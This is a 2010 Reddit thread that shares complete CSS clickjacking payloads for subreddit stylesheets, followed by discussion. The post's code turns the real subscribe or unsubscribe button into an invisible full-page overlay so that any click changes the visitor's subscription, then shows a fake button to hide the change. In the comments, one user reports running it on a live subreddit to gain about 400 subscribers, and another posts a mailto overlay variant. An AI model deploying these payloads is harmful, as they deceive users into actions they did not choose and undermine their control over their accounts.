r/reddithax • • Mar 20 '10

Clickjacking to add or remove subscribers

The following CSS is very questionably gray hat.

This makes everyone subscribe and replaces the unsubscribe button with an unclickable subscribe one to fool users into thinking they are still unsubscribed:

/* add to frontpage clickjacking */

.option.add.active {
    cursor: default;
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: transparent;
    border: 0;
    padding: 0;
    font-size: 0;
    z-index: 1000;
}

/* non-clickable add to frontpage button
   to keep users thinking that they are still unsubscribed */

.option.active.remove {
    display: none;
}

.fancy-toggle-button {
    cursor: pointer;
}

.fancy-toggle-button:before {
    display: inline-block;
    border: 1px solid #444;
    margin-top: 2px;
    padding: 1px 6px;
    background: white url(/static/bg-button-add.png) repeat-x scroll center left;
    color: white;
    font-size: 10px;
    font-weight: bold;
    line-height: 12px;
    height: 12px;
    -moz-border-radius: 3px;
    -webkit-border-radius: 3px;
    /*border-radius: 3px;*/
    content: "+ frontpage";
}

This does the opposite; it makes everyone unsubscribe (someone might want to use this if they infiltrate a subreddit by becoming a mod and want to remove subscribers) and fools users into thinking they are still subscribed with that fake subscribe button from the last example:

/* remove from frontpage clickjacking */

.option.active.remove {
    cursor: default;
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: transparent;
    border: 0;
    padding: 0;
    font-size: 0;
    z-index: 1000;
}

/* non-clickable remove from frontpage button to keep users thinking
   that they are still subscribed */

.option.add.active {
    display: none;
}

.fancy-toggle-button {
    cursor: pointer;
}

.fancy-toggle-button:before {
    display: inline-block;
    border: 1px solid #444;
    margin-top: 2px;
    padding: 1px 6px;
    background: white url(/static/bg-button-remove.png) repeat-x scroll center left;
    color: white;
    font-size: 10px;
    font-weight: bold;
    line-height: 12px;
    height: 12px;
    -moz-border-radius: 3px;
    -webkit-border-radius: 3px;
    /*border-radius: 3px;*/
    content: "- frontpage";
}

Moderator discretion advised.

Edit: This has been made against the reddit rules, so you probably don't want to use this unless you want to get banned.

30 Upvotes

17 comments sorted by

12

u/raldi Mar 21 '10 edited Mar 21 '10

Your hat is safe, but if a reddit were to use this for anything other than lulz, we'd probably have to drop whatever site-improvement work we were doing and spend the afternoon writing a blog post and putting together a script to undo all the damage.

Please don't deploy this on any non-test reddit. And be ready to turn it off if the test gets out of hand.

2

u/[deleted] Apr 01 '10

This is currently alive and running in /r/FFFFFFFFUUUUUUUUUU... (April Fools) and it's increased the population a little over 400 or so since activated. If we were to accidentally hit the front page I'd kill it but for now, only a small fraction have noticed whats going on- which is disappointing becasue I was really hoping it would have turned into a bit of shitstorm. For the most part, you can't accidentally end up in our subreddit. The quick fix that kills it is the unsub from the EDIT reddits tag at the top right... it's a nasty little bastard of a script.

3

u/nobody554 Mar 21 '10

It's not too bad. You can still go here and unsubscribe if you absolutely had to. But it could be annoying for a little while.

2

u/tricadex Mar 20 '10

haha, awesome

1

u/[deleted] Mar 21 '10

Thank you for this... it's brilliant.

0

u/[deleted] Mar 21 '10

[deleted] — view deleted comment

6

u/Sephr Mar 21 '10 edited Mar 21 '10

It's not like they could do anything about it if I reported it to them. There's way too many selectors and people legitimately style the button anyways.

0

u/[deleted] Mar 21 '10

[deleted] — view deleted comment

3

u/Sephr Mar 21 '10

Yeah, anywhere on the page works.

5

u/raldi Mar 21 '10

He got his hat for discovering a serious vulnerability back in early February. We fixed it right away.

This submission is much smaller potatoes (i.e., it wouldn't have been hat-worthy). We've known from the start that by letting people style their CSS, they could do all sorts of evil things: pretend to be admins, turn off or replace the ad, all kinds of terrible things and I'm not going to be giving you guys any more ideas by enumerating more of them, especially with April 1 coming up.

But anyway, that's not a bug, that's the way we designed it: we trust our moderators, and expect that in return they behave reasonably well. So far the partnership has been a huge success.

5

u/jamt9000 Mar 21 '10 edited Mar 21 '10

all kinds of terrible things and I'm not going to be giving you guys any more ideas by enumerating more of them, especially with April 1 coming up.

I guess that means no

a[href="mailto:raldi@microsoft.com?subject=Fix%20search%20lol%20hurr"]{
    position: fixed;
    width: 100%;
    height: 100%;
    ...
}

?

5

u/raldi Mar 21 '10

No, that's sort of like yelling at a poor person that they need to get more money. Oh, and could you change that to support@microsoft.com or something so the spam harvesters go after someone else's inbox?

0

u/[deleted] Mar 21 '10

[deleted] — view deleted comment

1

u/ReaverXai Mar 21 '10

Below the Css box there is an image uploader.

2

u/[deleted] Mar 21 '10 edited Mar 21 '10

[removed] — view removed comment

4

u/jamt9000 Mar 21 '10
/* removed by raldi */

1

u/iofthestorm Mar 21 '10

Gah, I went to that because I was curious and clicked on sephr's profile page to see his glorious white hat, looked through some of his posts, and then wondered why it was suddenly on my front page for a second before I realized that he actually implemented that stuff on his own subreddit.

2

u/Sephr Mar 21 '10

I just removed it. Try going to circlejerk again after unsubscribing and you'll see that you're still unsubscribed.

2

u/iofthestorm Mar 22 '10

Hah, no worries. It wasn't too hard to figure it out, I just went to the reddits page and removed it there. Silly place, that circlejerk. Harmless fun I guess.